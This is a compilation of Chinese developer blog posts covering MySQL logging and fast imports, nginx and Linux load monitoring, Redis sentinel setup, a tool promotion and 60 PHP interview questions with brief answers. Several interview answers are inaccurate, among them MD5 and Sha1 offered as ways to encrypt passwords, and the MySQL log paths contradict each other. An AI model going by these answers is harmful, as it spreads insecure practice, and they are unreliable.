数也很多(需要长期观察),并且用户反馈网站打开速度超过 3 秒的话,就要考虑升级更高带宽了。实际使用中如果你的业务是在每天 1000PV 访问量~3000PV访问量之间,打开页面用 2 秒钟时间用户也不会感觉等待时间怎么长,那么可以选择 1M 带宽。否则请根据业务的实际情况选择适合自己的带宽使用。GitHub :BDB-frame V1.0.0 | 源码官方社群URL: https://github.com/doukoi-BDB/Component-API1、本仓库分享单独功能的API、插件、类文件(例如:微信支付、扫码支付、授权登录、发送短信.....一系列),目的很简单:大家可以直接套用,也可为开发者提供思路。在无法实现的时候、可以来此寻找(有不懂的问题,欢迎在社群讨论)2、本仓库管代码 肯定不是最优之类吧,不喜勿喷勿扰,没让你强制使用。有大佬者,看到此代码,如越意帮助更新优化 & 提供相关API,类,插件。{方可联系Github 中联系方式,加入社区,一起加入开发队列。分割线
MySQL默认不能实时查看执行的SQL语句,因为这会消耗一定的资源。要开启这个功能,稍微配置一下,打开这个LOG记录就可以了。1 查看LOG功能首先,查看是否已经开启实时SQL语句记录。mysql> SHOW VARIABLES LIKE "general_log%";如下general_log值为OFF说明没有开启:+------------------+----------------------------------+| Variable_name | Value |+------------------+----------------------------------+| general_log | OFF || general_log_file | /var/lib/mysql/galley-pc.log |+------------------+----------------------------------+2 rows in set (0.00 sec)2 打开LOG功能2.1 临时开启如下,打开实时记录SQL语句功能,并指定自定义的log路径:mysql> SET GLOBAL general_log = 'ON';mysql> SET GLOBAL general_log_file = '/var/log/mysql/general_log.log';这两个命令在MySQL重启后失效,为临时方法。说明:这个文件会随着访问的增加而不断变大,所以生产环境建议临时开启,用完及时关闭。2.2 永久开启永久有效需要配置my.cnf文件,加入下面两行:general_log = 1general_log_file = /var/log/mysql/general_sql.log重启MySQL生效。3 实时查看过一小段时间后,就可以导出查看/var/lib/mysql/sql_statement.log文件了,里面记录了所有执行的SQL语句。如果要实时查看该文件的改动,在Linux系统用tail命令:$ tail -f /var/lib/mysql/general_sql.log另外,也可以用BareTail软件实时查看。
有很多时候,我们还是需要用php去发送http请求的,它可以模拟浏览器的行为,通常它的应用场景有:1.后端测试自己的接口。2.后端请求别人的数据。后端测试自己的接口,比如我们写了一个返回json数据的接口,我们可以让前端去测,但是前端不一定有空啊,或者前端界面还没做出来,由于界面不一定是现成的,因此测试起来也会有点麻烦。当然我们可以用谷歌浏览器的postman或者火狐的poster,这些都可以发送post、delete请求等等,但是它们应用起来并没有那么爽。因此,我们可以实用php编程的方式来写测试函数。对于后端请求别人的数据,这个就不同于我们手动点击浏览器了,它可以实现比我们点击浏览器更加强大的功能,而且能够自动分析一些数据,因此功能上也就更强一些。第一种实现方式:实用socket编程,通常我们实用fsockopen这个函数来创建一个socket连接,用fputs来发送一个请求,至于具体函数怎么用,请自行谷歌或者百度吧。第二种实现方式:实用php的curl扩展,我们使用curl_init()来初始化一个连接,然后设置一堆的curl_setopt()的东西来设置url,post的数据等等,最后我们使用curl_exec()来实现请求。第三种方式就是: 实用file_get_contents函数,其实我们平时抓取一个网页可能只实用它的第一个参数,其实它的第三个参数就有数据了
作者:Bruce.Dgithub:https://github.com/doukoi-BDB文章底部有【技术社群】,不定更新活动、源码,欢迎来撩~~~今日主题: 1、nginx 并发怎么看?负载怎么看? 2、预计阅读 7分钟,正文2584字,10张图。自律给我自由讲解 如何查看负载 和 并发之前,简单与各位聊几句,这不发现后来群内活跃度有所降低呀。是不是社群没小姐姐都不能吸引各位英雄好汉了,哈哈哈。言归正传,7月份,我呢面试了几个很不错的上市公司,效果还不错。几乎都收到offer了,也有意外,技不如人吧。然后选择了一家合适自己的(具体怎么合适,下面简单讲解)。然后每次面试都会复盘总结自己,不管是否ok,每次复盘后,自己的自信就会几何倍的增长,别问为什么,或许大脑的兴奋神经 比较激烈,哈哈哈~~~通过这几家,有一点我需要告诉各位,基础真的非常非常重要,一个基础能看出你对整个项目的掌握程度,以及对新老技术底层的理解与深度,也可以看出你定位问题的速度。用我面试某家面试官说的:“ 你基础扎实的人,你底层逻辑挖的很深,解决问题 还真不一样,别人定位问题,直接从底层方面考虑,拆分底层,能够快速结合业务定位发生点,而我们不扎实的,需要根据业务,日志一步一步确定等等 “。其实有的人或许不认可,反正我是挺认可的,深有体会。具体怎么个体会法,我还真的写不出来,需要大家尝试后,或许都会明白。(说句实话,以前的我也不太认可,与那位聊完,我真的很佩服,我已经准备好上那位大哥的车了,具体原因以后单独来篇文章~~~)所以我建议大家: 1、研究问题时候,多提 为什么? 一个问题牵扯出的内容,至少你要了解4层起。举个非常简单的例子哈(为什么要用缓存?缓存选择哪个?为什么这么选择?redis 为什么会快?为什么redis 是单线程 ~ 等等,太多了) 2、了解底层时候,不要看完理论,看完配置,就感觉自己懂了,用在实战里,了解实战里面,如果使用的。 3、数据结构多多了解,到底每个数据结构区别点,注意:底层区别。 4、算法很重要,很重要~~~(因为算法能提高你的思维逻辑,亲测有效)简单聊了都说了这么多,也希望大家多努努力,提升自己眼光,多来点正能量,群里活跃起来,干就完了~~~并发怎么看???步入主题,一般查看并发 界面也可以查看:通过界面查看通过web界面查看时Nginx需要开启status模块,也就是安装Nginx时加上 --with-http_stub_status_module 。然后配置Nginx.conf,在server里面加入如下内容:location /Nginxstatus { stub_status on; access_log /usr/local/nginx/logs/status.log; #日志 auth_basic "NginxStatus"; }配置完后重新加载Nginx后我们可以通过浏览器访问 http://x.x.x.x/Nginxstatus查看结果说明:Active connections //当前 Nginx 正处理的活动连接数. server accepts handledrequests //总共处理了387142个连接,成功创建387142次握手,总共处理了4804888个请求. Reading //nginx 读取到客户端的 Header 信息数. Writing //nginx 返回给客户端的 Header 信息数. Waiting //开启 keep-alive 的情况下,这个值等于active-(reading+writing),意思就是Nginx已经处理完正在等候下一次请求指令的驻留连接.负载怎么查看???负载(load)时一个linux 机器的重要指标,直观反应了linux 服务器当前状态。linux 负载高,主要体现在:cpu 的使用、内存使用、io消耗 。top 命令 ,采用于linux 命令。top命令能够清晰的展现出系统的状态,而且它是实时的监控,按q退出。Tasks行展示了目前的进程总数及所处状态,要注意zombie,表示僵尸进程,不为0则表示有进程出现问题。Cpu(s)行展示了当前CPU的状态,us表示用户进程占用CPU比例,sy表示内核进程占用CPU比例,id表示空闲CPU百分比,wa表示IO等待所占用的CPU时间的百分比。wa占用超过30%则表示IO压力很大。Mem行展示了当前内存的状态,total是总的内存大小,userd是已使用的,free是剩余的,buffers是目录缓存。Swap行同Mem行,cached表示缓存,用户已打开的文件。如果Swap的used很高,则表示系统内存不足。在top命令下,按1,则可以展示出服务器有多少CPU,及每个CPU的使用情况一般而言,服务器的合理负载是CPU核数*2。也就是说对于8核的CPU,负载在16以内表明机器运行很稳定流畅。如果负载超过16了,就说明服务器的运行有一定的压力了。在top命令下,按shift + "c",则将进程按照CPU使用率从大到小排序,按shift+"p",则将进程按照内存使用率从大到小排序,很容易能够定位出哪些服务占用了较高的CPU和内存。iostat命令(使用iostat -x 命令来监控io的输入输出是否过大) 仅仅有top命令是不够的,因为它仅能展示CPU和内存的使用情况,对于负载升高的另一重要原因——IO没有清晰明确的展示。 linux提供了iostat命令,可以了解io的开销。输入iostat -x 1 10命令,表示开始监控输入输出状态,-x表示显示所有参数信息,1表示每隔1秒监控一次,10表示共监控10次。其中rsec/s表示读入,wsec/s表示每秒写入,这两个参数某一个特别高的时候就表示磁盘IO有很大压力,util表示IO使用率,如果接近100%,说明IO满负荷运转。分割线为了让各位方便:交流、交友、技术视频、资源分享、接私活 等等,可以扫下面二维码(wx:xzzs730),备注 “ 技术 ” 就可以通过审核。
作者:Bruce.Dgithub:https://github.com/doukoi-BDB文章底部有【技术社群&福利】,不定更新活动、源码,欢迎来撩~~~今日主题:hello,各位漂流在外的铁友们。好久不跟大家互动了,今天有2个事情需要告诉各位。第一件事情:一款超级好用api 生成工具,叫ApiPost工具,类似postman,用过后觉得真的很方便,别着急否决,可以简单看看我下面内容,我也是用后的感触,才想把这样的工具分享各位,因为你是工程师,那日常一定会用到的。第二件事情:感谢一直支持我的伙伴,文章底部会有一个送现金红包活动,欢迎参与。这个工具跟postman 很相似,这样先让大家有个初始印象。接下来我会分开介绍目前用到,感觉不错的功能,我也没有完全挖掘完。1、用这个软件先注册一波,免费注册,这样为了后续团队协作,互相可以看到一个团队的内容,也可以有对应的管理权限,进行curd 操作。2、可以看到团队协作的成员,以及协作日志,以及团队项目组的随意切换。这个页面可视化看板,是不就很舒服。3、可以看到左侧一系列功能模块,我点开一个项目,可以对项目进行分组,可以进入内部有不同的一方世界,这个大家可以体验。然后右侧:也可以将项目进行导入,以及对项目的一系列的控制,具体控制内容可以看下图。4、再来看看左侧模块,apis 这里的功能点。这个是核心之一,重中之重。我简单讲下里面内容,具体细节大家可以自己挖掘一下。功能包含:目录分组、定位接口、接口生成、响应字段提取、接口文档生成、开发进度....等等太多了。5、继续再来看看左侧的分享模块,可以对接口分组后的文档进行分享,分为外网链接分享 & 内网链接 的分享。6、以及他的流程测试,这个说起来文字不好解释,看图吧。7、再来看看团队协作的界面,这个就是内部使用了,简直方便的不要不要。其他的内容我这里就不分享了,我认为这个工具大家可以用到,可以下载(免费)试试,用后会有很不错的感触,很快会对postman 说再见的。接下来还有一个环节 红包福利环节,我简单说一下规则(公平公正):1)文章评论后,点赞数在第1 ~ 3名,且在社群,可随时加入 ,红包奖励:30¥/人2)文章评论后,点赞数在第4 ~ 10名,且在社群,可随时加入,红包奖励:10¥/人活动时间:2022/02/17 ~ 2022/02/19 中午12点结算,到时候社群加我私人v即可。分割线为了让各位方便:交流、交友、技术视频、资源分享、接私活 等等,可以扫下面二维码(wx:xzzs730),备注 “ 技术 ” 就可以通过审核。
github:https://github.com/doukoi-BDB文章底部有【技术社群&福利】,不定更新活动、源码,欢迎来撩~~~今日主题:22年考虑了一下后续公号技术文章的风格&技术内容,思考如何更好有效帮助到关注我的各位铁友们;后续的文章思考方式会不同,会考虑每一篇的价值。既然又到了面试的季节,那么面试前准备的资料这是必不可少。这项资料必须得掌握住了。今天分享一波22年php面试问题,答案不会写的那么详细,如有需要可以自查。文章内容全部梳理最新面试的一个总结。2022年 php面试之60题1、什么变量是存储在堆/栈?A:基本类型保存在栈中,引用类型保存到堆(细节自查)2、PHP中HashMap的结构是如何实现?A:HashMap是数组结构、链表结构与Hash算法的结合(细节自查)3、如何解决PHP内存溢出问题?A:1)增加内存大小;2)销毁变量释放内存。(细节自查)注意事项:unset 函数只能在变量值占用内存空间超过256字节时才会释放内存空间。4、PHP的字符串为什么是二进制安全的?A:ascii字符(细节自查)5、PHP的内存回收机制?A:5.3版本新的内存回收机制的出现,机制的三个基本规则:1)如果一个zval容器的refcount增加,说明有新的变量(符号)指向这个容器,那么这个容器当然不会是垃圾,它将被继续使用。2)如果一个zval容器的refcount减少到0了,那么说明没有变量(符号)指向这个容器,它就会被php引擎销毁。3)如果一个zval容易的refcount减少了,但是不是0,那么这个容器就有可能是垃圾,就会被垃圾回收机制所管理。6、PHP7中对zVal做了哪些修改?A:1)refcount的存放换了个位置,从zval全局换到了zend.value自身中。优点在于能更快的来做+1-1的操作;2)字节数减少了;3)PHP7把部分变量(局部变量,对象的键名)存放在栈中;4)PHP7标量数据类型(布尔,整形,字符串,浮点型)不再计数,不需要单独分配内存。7、设计模式场景及介绍A:工厂模式、建造者模式、单例模式、策略模式(细节自查)8、php的反射A:反射 API 提供了方法来取出函数、类和方法中的文档注释。(细节自查)9、自动加载实现方式A:自动加载的原理以及__autoload的使用(细节自查)10、PHP中创建多进程有哪些方式?A:pcntl_fork(子进程) — 在当前进程当前位置产生分支。(细节自查)11、Swoole 服务端启动后有哪些进程,完成什么工作?A:启动的这个服务使用了 8 个进程、2 个线程;(细节自查)16389 是 Master 进程。16390 是 Manager 进程。16391、16392 是 Reactor 线程。16393、16394、16395、16396、16397、16398 包括 3 个 Worker 进程,3 个 Task 进程。12、MySQL的查询需要遍历几次B+树,理论上需要几次磁盘I/O?A:主键索引从上至下遍历一次B+树,二级索引需要遍历两次B+树(细节自查)13、sql语句执行过程A:连接器-》查询缓存-〉分析器-》优化器-〉执行器14、字段为varchar类型,where num=111 能否用到索引A:表中字段为字符类型的时候,查询的值为整型时,无法走索引;15、mysql索引失效情况A:like 以%开头,索引无效;组合索引,不是使用第一列索引,索引失效;当or左右查询字段只有一个是索引,该索引失效(细节自查)16、mysql回表A:回表就是通过辅助索引拿到主键id之后,要再去遍历聚集索引的B+树,这个过程就是回表17、事务隔离级别A:4个级别,未提交读(Read Uncommitted)、提交读(Read Committed)、可重复读(Repeated Read)、序列化(Serializable18、mysql 集群的几种方式A:LVS+Keepalived+MySQL ,目前很多种,建议使用这种,相对案例多,坑少(细节自查)19、聚簇索引和非聚簇索引的区别A:聚簇索引并不是一种单独的索引类型,而是一种数据存储方式。具体细节依赖于其实现方式。(细节自查)20、事务的特性A:ACID(细节自查)21、mysql查询慢原因,优化建议A:1)查询慢 (细节自查):1-1 :没有用到索引;1-2:I/O吞吐量小,形成了瓶颈效应1-3:网络速度慢 1-4:查询出的数据量过大1-5:出现死锁2)优化建议(细节自查):2-1: 把数据、日志、索引放到不同的I/O设备上,增加读取速度,以前可以将Tempdb应放在RAID0上,SQL2000不在支持。数据量(尺寸)越大,提高I/O越重要2-2:纵向、横向分割表,减少表的尺寸(sp_spaceuse) 2-3:提升网速2-4:增加服务器CPU个数22、事务a嵌套事务b,会发生什么A:rollback回滚无效(细节自查)23、redis数据类型哪些?你用于的业务场景是?A:string(字符串),hash(哈希),list(列表),set(集合)及zset(sorted set:有序集合)。24、redis的IO模型A:基于多路复用(事件轮询)、非阻塞。(细节自查)25、redis的协议A:RESP (REdis Serialization Protocol)协议进行通讯26、redis的管道A:Redis 管道技术可以在服务端未响应时,客户端可以继续向服务端发送请求,并最终一次性读取所有服务端的响应。(细节自查)27、持久化策略哪些?怎么实现的持久化?A:rdb、aof ,自动执行&手动执行(细节自查)28、淘汰策略A:1)当内存不足以容纳新写入数据时,新写入操作会报错。2)当内存不足以容纳新写入数据时,在键空间中,移除最近最少使用的 key(这个是最常用的)。3)当内存不足以容纳新写入数据时,在设置了过期时间的键空间中,随机移除某个 key。4)当内存不足以容纳新写入数据时,在设置了过期时间的键空间中,有更早过期时间的 key 优先移除。(细节自查)29、rabbitmq 如何保证消息不丢失A:1)消息持久化;2)ACK确认机制;3)设置集群镜像模式;4)消息补偿机制(细节自查)30、rabbitmq 如何保证消息的顺序性A: 搞3个Queue,每个消费者就消费其中的一个Queue。把需要保证顺序的数据发到1个Queue里去。31、rabbitmq 的心跳丢失A:分布式的tcp连接采取适中的时间(比如Linux默认配置大约11分钟),方便操作系统检测。32、Nginx中root和alias的区别A:1)使用alias时,目录名后面一定要加"/"。2)alias可以指定任何名称。33、Nginx正向代理和反向代理A:1)正向代理是一个位于客户端和原始服务器之间的服务器,为了从原始服务器取得内容,客户端向代理发送一个请求并指定目标(原始服务器),然后代理向原始服务器转交请求并将获得的内容返回给客户端。2)反向代理实际运行方式是代理服务器接受网络上的连接请求。它将请求转发给内部网络上的服务器,并将从服务器上得到的结果返回给网络上请求连接的客户端,此时代理服务器对外就表现为一个服务器。可以这么认为,对于正向代理,代理服务器和客户端处于同一个局域网内;而反向代理,代理服务器和源站则处于同一个局域网内。34、nginx负载均衡的5种策略A:轮询(默认)、指定权重、IP绑定 ip_hash、fair(第三方)、url_hash(第三方)35、nginx怎么实现反向代理用做内网域名转发A:指定内网ip+端口(细节自查)36、PHP中密码加密,使用什么方式加密?A:MD5加密、Crype加密、Sha1加密、URL加密37、对称加密和非对称加密A:对称加密是最快速、最简单的一种加密方式,加密(encryption)与解密(decryption)用的是同样的密钥(secret key)。38、mysql存储引擎 有哪些?区别点?A:InnoDB、MyISAM、MERGE、ARCHIVE、CSV、BLACKHOLE39、mysql使用行锁的条件A:主键索引需要加一把锁,使用二级索引需要在二级索引和主键索引上各加一把锁(细节自查)40、sql优化点A:数据库方面、sql 语句方面(细节自查)41、MVCC 介绍A:MVCC是一种多版本并发控制机制。(细节自查)42、分布式锁 介绍A:根据redis缓存实现 分布式锁 - Setnx(细节自查)43、fast-cgi,cgi 是什么?A:CGI是为了保证web server传递过来的数据是标准格式的,Fastcgi是用来提高CGI程序性能的。44、http 状态码,1、2、3、4、5 开头分别代表什么?A:1 开头:这一类型的状态码,代表请求已被接受,需要继续处理.这类响应是临时响应,使包含状态码行和某些可选的响应头信息,并以空行结束.2 开头:的状态码,请求以成功被接受,理解 3 开头:需要用户端采取进一步的操作才能完成请求.通常,这些状态码用来重定向,后续的请求地址在本,次响应的location域中指明.4 开头:语义有误,当前请求无法被服务器理解,除非进行修改,否则客服端不应该重复提交这个请求.5 开头:代表了服务器在处理请求的过程中有错误或者异常状态发生,也有可能是服务器意识到以的软硬件资源无法完成对请求的处理,除非这是一个HEAD请求,是服务器应当包含一个解释当前错误状态以及这个善是临时的还是永久的解释 信息实体.浏览器应当向用户展示任何在当前响应中被被包含的实体45、mysql主从延迟解决方案A:主库针对写操作,顺序写binlog,从库单线程去主库顺序读”写操作的binlog”,从库取到binlog在本地原样执行(随机写),来保证主从数据逻辑上一致46、redis缓存击穿、缓存穿透A:缓存穿透:key对应的数据在数据源并不存在,每次针对此key的请求从缓存获取不到,请求都会到数据源,从而可能压垮数据源。比如用一个不存在的用户id获取用户信息,不论缓存还是数据库都没有,若黑客利用此漏洞进行攻击可能压垮数据库。缓存击穿:key对应的数据存在,但在redis中过期,此时若有大量并发请求过来,这些请求发现缓存过期一般都会从后端DB加载数据并回设到缓存,这个时候大并发的请求可能会瞬间把后端DB压垮。47、熔断 介绍A:“熔断”就是为了避免”雪崩”而生的,它的思路是在调用方增加一种”避让”机制,当下游出现异常时能够停止(熔断)对下游的继续请求,当等待一段时间后缓慢放行部分的调用流量,并当这部分流量依旧正常的情况下,彻底解除”熔断”状态。48、三次握手A:第一次握手:客户端发送syn包(syn=j)到服务器,并进入SYN_SEND状态,等待服务器确认;第二次握手:服务器收到syn包,必须确认客户的syn(ack=j+1),同时自己也发送一个SYN包(syn=k),即SYN+ACK包,此时服务器进入SYN_RECV状态;第三次握手:客户端收到服务器的SYN+ACK包,向服务器发送确认包ACK(ack=k+1),此包发送完毕,客户端和服务器进入ESTABLISHED状态,完成三次握手。49、一次完整的http 请求过程A:1. 用户在浏览器地址栏中输入网站域名 2. 浏览器拿到该域名自动去请求 DNS服务器查询 用户输入的域名对应的 ip 地址 3. 浏览器拿到 ip 地址之后,通过ip地址+端口号(HTTP默认80)和服务器建立连接(通过 三次握手 ) 4. 三次握手建立连接成功之后 5. 浏览器将用户输入的 url 地址通过 HTTP 协议包装成 请求报文 ,然后通过 Socket(服务器ip地址和端口号) 发送到服务器 6. 当HTTP服务器接收到客户端浏览器发送过来的请求报文时候,按照 HTTP 协议将请求报文解析出来 7. 然后服务器拿到请求报文中的请求信息(例如请求路径url),做相应的业务逻辑处理操作 8. 当业务逻辑处理完毕之后,服务器将要发送给客户端的数据按照 HTTP 协议包装成 响应报文 9. 然后服务器通过 Socket(客户端的ip地址+端口号) 将响应报文数据发送给客户端浏览器 10. 当浏览器接收到服务器发送给自己的响应报文数据的时候,浏览器根据 HTTP 协议将报文内容解析出来 11. 浏览器拿到响应报文体中的数据开始 解析渲染html、css,执行 JavaScript 12. 如果在解析的过程(从上到下)中,发现有外链的标签(link、css、img) 13. 浏览器会自动对该标签指向的 路径地址 发起新的请求(还是通过 Socket )。50、Session 共享A:基于Cookie的Session共享、基于数据库的Session共享51、InnoDB引擎的4大特性有哪些A:插入缓冲、二次写、自适应哈希、预读52、非聚簇索引一定会回表查询吗?A:不一定,这涉及到查询语句所要求的字段是否全部命中了索引,如果全部命中了索引,那么不需要进行回表查询。53、mysql 碎片是如何产生的?如何解决?A:物理删除数据导致,数据也占用一定物理空间,解决方式根据存储引擎,写法也是不同54、数据库的乐观锁和悲观锁A:悲观锁,是因为这是一种对数据的修改抱有悲观态度的并发控制方式。我们一般认为数据被并发修改的概率比较大,所以需要在修改之前先加锁。悲观并发控制实际上是“先取锁再访问”的保守策略,为数据处理的安全提供了保证。相对于悲观锁,在对数据库进行处理的时候,乐观锁并不会使用数据库提供的锁机制。一般的实现乐观锁的方式就是记录数据版本。乐观并发控制相信事务之间的数据竞争(data race)的概率是比较小的,因此尽可能直接做下去,直到提交的时候才去锁定,所以不会产生任何锁和死锁。55、mongo 的业务场景,常用语法A:1)应用服务器的日志记录、2)第三方信息的抓取与存储、3)运维监控系统56、explain的用法A:EXPLAIN +SQL语句57、依赖注入 和 控制反转A: Ioc—Inversion of Control,即“控制反转”,不是什么技术,而是一种设计思想。在Java开发中,Ioc意味着将你设计好的对象交给容器控制,而不是传统的在你的对象内部直接控制。因为由容器帮我们查找及注入依赖对象,对象只是被动的接受依赖对象,所以是反转;哪些方面反转了?依赖对象的获取被反转了。58、PHP8的新特性A:命名参数、注解语法、构造函数参数改进、联合类型、匹配表达、空安全运算符、字符串和数字比较、函数内部一致性校验错误(细节自查)59、分库分表过程A:1)确认分库分表键;2)分片算法;3)确定容量,考虑扩容;4)唯一id;5)单库表 迁移 到分库;6)分库分表中间件(细节自查)60、php 数组的底层实现A:存储元素数组、散列函数(细节自查)分割线为了让各位方便:交流、交友、技术视频、资源分享、接私活 等等,可以扫下面二维码(wx:xzzs730),备注 “ 技术 ” 就可以通过审核。
作者:Bruce.Dgithub:https://github.com/doukoi-BDB文章底部有【技术社群&福利】,不定更新活动、源码,欢迎来撩~~~今日主题: 1、推荐极简网站、非常有用。 2、预计阅读 x 分钟,正文 682 字。hello,各位。今天分享的这篇非常值得 你给我来个赞👍,我敢说:只要你身处互联网绝对能用到的网站链接🔗。好了多说无益,开整:1、https://xclient.info/ (工具都免费😯、细节自己看详情,社群我给大家截图过,都知道了)2、https://kaifa.baidu.com/ (github 热门项目,快捷集成网站)3、https://cn.bing.com/ (区分国内、国际,过滤广告,推荐使用国际,不需要🪜,这个非常舒服)4、https://www.topgoer.cn/ (学习go 的yyds 网站,值得收藏)5、https://www.freeimages.com/ (图片下载、高清免费😯)6、hao.199it.com (大数据导航,收集了上千个大数据工具,数据分析工具,目前最全的一个)7、https://xiaolincoding.com/ (自认为网络方面,全网超全面的一个网站)8、https://www.52pojie.cn/ (吾爱破解,病毒分析,攻防类、软件...)分割线为了让各位方便:交流、交友、技术视频、资源分享、接私活 等等,可以扫下面二维码(wx:xzzs730),备注 “ 技术 ” 就可以通过审核。
喜欢就 关注 我们吧!简介: Hello 各位 ,我是公号「八点半技术站」的创作者 - Bruce.D (姓氏:豆)。感谢微信给予的个人认证,专注于PHP、数据库技术领域知识经验分享。技术的交流、不仅仅限制于阅读,在此欢迎各路大神、小白,来「wx技术群」分享自己的编程经验心得 与 技术实战干货。概述:本篇讲解:如何快速导入由逻辑备份产生的SQL脚本,其他文件形式暂不讲解。日常开发中,大家肯定遇到过这些需求:“ 数据迁移、数据恢复、新建从库 ” 等等一系列任务,因为做这些需求我们肯定知道,会涉及到 大量的数据 的处理。大量的数据,会导致我们处理数据进度有时会很慢很慢,那么我们总得找一些方案来解决,对吧。其实,这也是有一些小技巧的,可以大大增加我们数据的处理速度,那么就开始吧~~~小技巧 - 方案一开场先注意:导出 或 导入数据,尽可能的使用 MySQL 自带命令工具 ,不要使用一些图形化的工具 (Navicat...)。因为 MySQL 命令行工具至少要比图形化工具快 2 倍 。命令工具行方式:# 导出整个实例mysqldump -u用户名 -p密码 --all-databases > all_database.sql # 导出指定库mysqldump -u用户名 -p密码 --databases testdb > testdb.sql # 导出指定表mysqldump -u用户名 -p密码 testdb test_tb > test_tb.sql # 导入指定SQL文件 (指定导入testdb库中)mysql -u用户名 -p密码 testdb < testdb.sql小技巧 - 方案二修改参数方式:在 MySQL 中,有这么一对参数很有意思,分别是:“ innodb_flush_log_at_trx_commit ” 与“ sync_binlog ”安全性考虑,这个参数默认是 1 ,为了快速导入sql 数据,可临时修改默认参数值。参数一: innodb_flush_log_at_trx_commit默认值为1,可设置为0、1、2innodb_flush_log_at_trx_commit 设置为 0,log buffer将每秒一次地写入log file中,并且log file的flush(刷到磁盘)操作同时进行.该模式下,在事务提交的时候,不会主动触发写入磁盘的操作。innodb_flush_log_at_trx_commit设置为 1,每次事务提交时MySQL都会把log buffer的数据写入log file,并且flush(刷到磁盘)中去。innodb_flush_log_at_trx_commit设置为 2,每次事务提交时MySQL都会把log buffer的数据写入log file.但是flush(刷到磁盘)操作并不会同时进行。该模式下,MySQL会每秒执行一次 flush(刷到磁盘)操作。参数二: sync_binlog默认值为1,可设置为[0,N)当 sync_binlog =0,像操作系统刷其他文件的机制一样,MySQL不会同步到磁盘中去而是依赖操作系统来刷新binary log。当 sync_binlog =N (N>0) ,MySQL 在每写 N次 二进制日志binary log时,会使用fdatasync()函数将它的写二进制日志binary log同步到磁盘中去。注意:这两个参数可以在线修改,若想快速导入,可按照以下命令行# 1.进入MySQL命令行 临时修改这两个参数set global innodb_flush_log_at_trx_commit = 2;set global sync_binlog = 2000; # 2.执行SQL脚本导入mysql -uroot -pxxxxxx testdb < testdb.sql # 3.导入完成 再把参数改回来set global innodb_flush_log_at_trx_commit = 1;set global sync_binlog = 1;小技巧 - 方案三这种场景也很熟悉,就是新建从库,并且不需要生成 binlog 日志。解决方式很简单,在 sql 脚本开头增加:set sql_log_bin=0;然后继续执行导入,这样速度也会加快。(如MySQL没开启binlog,则无需执行该语句)到这里也就结束了,首先恭喜你又阅读完一篇文章,如果你认为有收获那么收藏转发起来,帮助需要的伙伴。方案方式很多,就看你是否越意去研究、去发现,欢迎评论区留言~~~ 同时,为了方便大家学习,我会把一些源码、技术干货存储到 github 中,随时可以在微信群 进行交流,扫下面二维码 ,备注 “技术进群” 就可以通过审核。
今日主题: 1、恢复主节点的故障,通过 redis 自动化哨兵的方式 2、预计阅读 6 分钟,正文 2700 字。一、开场介绍 hello,八点半的铁友们,其实在讲文章内容之前,我们先简单来知晓一下,哨兵是什么?用在哪里?等等一系列。这样我们先做一层铺垫,在后续的理解起来会更加容易,快似飞起般的感觉~~~我们来以 Q&A 的回答方式先来了解一些基础内容Q:哨兵是什么?A:网上说:哨兵是一种运行模式;其实可以理解哨兵就是一个进程,因此会独立运行。Q:哨兵原理 &用在何处?A:网上说:主节点出现故障,redis 进行通知、转移,来实现高可用;其实可以白话文理解为:哨兵就是通过发送命令,等待 redis 服务响应,从而监控运行 redis 多个实例。Q:哨兵的应用场景是?A:主服务器宕机了,那么需要人工处理切换服务器,这多麻烦,还影响业务服务。因此哨兵它来了,带着高可用慢慢的走来了,实现了自动化。Q:哨兵是怎么使用的?A:你猜猜难道是....对,就是通过配置的,操作核心的 redis.conf 文件等若干文件二、实战操作通过上述开场的基础介绍,想必我们脑子里已经有对 哨兵 有个相对闭环的了解了吧。话不多说,兄弟们上操作,有不足地方欢迎评论区探讨 &指出你认为应该改变的地方~~~毕竟刚开始操作,我们就不要想太复杂,我们就简单来一波哨兵系统。1、准备一台服务器即可(有 money 的准备 3~4 台,换着玩😂),准备一台的玩家需要注意,我们使用端口来区分滴哈。2、按照网上教程的来,那我们也部署 1 个主 2 个从 2 个哨兵,跟着大佬走,幸福到长久~~~3、开始部署主 &从节点,配置一样哈,没有特殊化,不需要额外关注其他配置,可以看我插入的代码配置,代码中会标注细节点。#redis.conf - 这里是主节点,port端口给了一个6379port 6379#守护线程,默认是NOdaemonize yeslogfile "6379.log"dbfilename "dump-6379.rdb" #redis-6300.conf - 这里是从节点,port端口给了一个6300port 6300#守护线程,默认是NOdaemonize yeslogfile "6300.log"dbfilename "dump-6300.rdb"slaveof 192.168.1.1 6379 - 192.168.1.1(模拟服务器ip) #redis-6301.conf - 这里是从节点,port端口给了一个6301port 6301#守护线程,默认是NOdaemonize yeslogfile "6301.log"dbfilename "dump-6301.rdb"slaveof 192.168.1.1 6379 - 192.168.1.1(模拟服务器ip)复制代码4、配置就这么愉快的完了,上述代码很详细,还是不懂评论区见,那么接下来需要做什么?当然是:依次启动 redis 服务的主节点 、从节点 ~~~redis-server redis-6379.confredis-server redis-6300.confredis-server redis-6301.conf复制代码5、启动后,那么我们来个命令看下状态即可,下图标注的命令会有解释:192.168.1.1:6379> info replication# Replication# 角色role:master# 从节点的连接数connected_slaves:2# 从节点详细信息 IP PORT 状态 命令(单位:字节长度)偏移量 延迟秒数# 主节点每次处理完写操作,会把命令的字节长度累加到master_repl_offset中。# 从节点在接收到主节点发送的命令后,会累加记录偏移量信息slave_repl_offset,同时,也会每秒钟上报自身的复制偏移量到主节点,以供主节点记录存储。# 在实际应用中,可以通过对比主从复制偏移量信息来监控主从复制健康状况。slave0:ip=192.168.1.1,port=6300,state=online,offset=236,lag=1slave1:ip=192.168.1.1,port=6301,state=online,offset=236,lag=0# master启动时生成的40位16进制的随机字符串,用来标识master节点master_replid:acc2aaa1f0bb0fd79d7d3302f16bddcbe4add423master_replid2:0000000000000000000000000000000000000000# master 命令(单位:字节长度)已写入的偏移量master_repl_offset:23866second_repl_offset:-1# 0/1:关闭/开启复制积压缓冲区标志(2.8+),主要用于增量复制及丢失命令补救repl_backlog_active:1# 缓冲区最大长度,默认 1Mrepl_backlog_size:1048576# 缓冲区起始偏移量repl_backlog_first_byte_offset:1# 缓冲区已存储的数据长度repl_backlog_histlen:23866复制代码6、接下来我们配置哨兵的配置,也是大家关注点之一,哨兵的配置简化版,端口区分:#sentinel-26000.confport 26000#守护线程,默认是NOdaemonize yeslogfile "26000.log"#sentinel monitor mymaster 配置的含义是:#该哨兵节点监控192.168.1.1:6379这个主节点,该主节点的名称是mymaster;#最后2含义与主节点的故障判定有关:至少需要2个哨兵节点同意,才能判定主节点故障并进行故障转移。sentinel monitor mymaster 192.168.1.1 6379 2复制代码7、启动哨兵节点#redis sentinel 